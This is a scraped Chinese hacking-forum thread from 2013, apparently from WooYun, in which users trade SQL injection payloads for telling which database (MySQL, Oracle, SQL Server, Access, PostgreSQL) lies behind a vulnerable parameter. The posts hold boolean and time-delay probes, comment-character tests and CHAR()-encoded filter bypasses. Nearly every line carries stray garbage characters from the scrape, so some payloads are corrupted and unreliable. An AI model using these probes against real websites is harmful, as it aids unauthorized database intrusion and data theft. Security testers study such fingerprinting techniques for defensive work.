一个注射点如何最快速确认是什么类型数据库( y" g, @! i( q% `# y
xsser (十根阳具有长短!!) | 2013-02-05 12:36
5 t( T/ b6 D9 Q5 x- j+ A" U假设这么一个注射点:4 `) y- q9 T3 [$ M+ E
show.html?id=2: X% K5 F* b+ L0 O! ~8 R
mysql:id=2 and version()>0; p2 B0 G7 E" }- q
oracle:id=2 and '1'||'1'='11
8 V- M6 {# @0 y4 K9 |其他的欢迎补充
0 m6 y8 |- z* A0 Y1#
5 `. _; Z# ]/ w* k, K5 tupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
V! l. d7 t# V2 Y0 BAccess:
, b n8 f/ c) k. r2 KaNd aSc(cHr(97))=97* [) y) C: C- M5 J* Y% ^( D
and exists(select id from MSysAccessObjects)
0 P# Q3 l' Q3 s7 s/ y% Y0 r' \3 eSQL Server:. Z" o; Z( V' H. D
and exists(select id from sysobjects)
) W3 t. P( M$ vand length(user)>09 S# l7 t9 `% E
MySQL:
" g) L& r, r' Q. q. }and length(user())>04 Q- k* |; G9 n# o' O
2#( i# [8 \; \' G
xsser (十根阳具有长短!!) | 2013-02-05 12:48
# W" C9 ^1 G7 r2 z@upload 如果这些都不是呢…
3 t( M/ O! H0 d$ H3#
0 `; d$ g6 V2 B: C3 O6 Q! ^- W9 Qupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03# X. Y2 R+ i- m7 @9 _5 n7 Q
@xsser 不快速的,延时注入
) p0 C9 d0 R# s, N2 k: p1 b不知道这样写对不对
( L: {2 y! O" |mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'9 ?) X+ ^& d8 _9 S# a
mysql:id=2 and select benchmark(1e8,current_date());
* X, v# ?" h7 I B0 X2 w4#% }2 g6 O) J1 g9 Q2 e
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
( ]" @9 e9 P$ {最快的貌似是看报错信息# m( B9 C) s: a2 ^) o: z
oracle error) x1 P$ }; r8 x( {
mssql error
7 R* |2 C/ w0 Umysql error) V6 {' n9 k, _ l6 K5 G! @$ R( @
5#
- Z9 U0 y/ V) m5 E7 U' hNimda (你们都是坏银~) | 2013-02-05 13:14
n8 W Z9 `2 W6 Y) Z$ J; j小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)6 D/ i3 @5 M% [6 I; G
6#/ S0 K y5 L3 x
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
4 \4 a- h0 K( T' j; ^9 U! P“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:" R- L( N2 z9 L/ ^5 ~1 _ z& _
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:# o. f C) H0 ~" n3 t9 k" L M# l
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。9 ^1 D2 l2 B& q# s/ [
7#" y! u' t2 q5 R( H S1 e* B
_Evil (HackEnd) | 2013-02-05 13:33& a3 L- ^ g7 a6 S. z! w( J
PostgreSQL
% I5 s& p9 E* _7 a, T8 V5 k% \8#( {' t# z$ t l% d; p6 c1 D
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
: x9 r& @1 B5 e# D8 b切换编码 and 1=1
R/ K" ` D0 f' d& Ooracle:
6 |) c" r+ O% z% k- D K; QCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)9 |0 P9 X+ {. a0 |# w
mssql:# M# S" X K# P+ y. Q& U
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)/ j6 s+ B% o: k# [/ G( ?$ A+ {
mysql:% Q+ `0 e$ r( G5 B- s. d
CHAR(97, 110, 100, 32, 49, 61, 49)
: F$ R6 U! i/ x, {& s4 \9#* H1 q2 m2 G/ X! m7 E
xsser (十根阳具有长短!!) | 2013-02-05 14:311 Z, c" }% d) |! i8 k* }
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
5 ?# o$ ?4 l" X2 C/ F2 _0 M2 C10#
1 Q2 \6 T5 E# v4 Yupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:463 E- Y" J- ]+ M& N' c5 w" `
@xsser 是奇葩数据库类型的么?# U: I& O( k5 J3 n
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
( i# a; o/ l' m# s$ y1.是否可以使用特定的函数来判断,该数据库特有的
% f5 U4 y3 J1 P& T8 |% o) |( H2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等# l) ?& l: T6 `2 J( B4 L
3.是否可以编码查询: a+ c4 Y# \+ W4 E/ k9 W
4.是否显可以利用错信息
3 a; B8 q3 n& g8 O% H5.是否存在数据库某些特性辅助判断
) [7 o0 H+ ]2 n1 x4 ~个人见解* }) a9 z9 e9 _; l
11## r0 J9 w! z) K: y
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
1 X* [5 |0 P. i9 t2 t g4 Q0 m8 f+ x已收藏,mssql可以直接看到错误提示的吧~
7 H* |7 j7 j" j/ N7 I9 ]12#
4 [' c% N9 P6 T+ ^7 |9 h$ K* y* C( vPasser_by | 2013-02-05 15:091 Y# o6 i) F, g/ b) s0 {
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。, s& h$ w. L4 O, i
from:http://zone.wooyun.org/content/260 |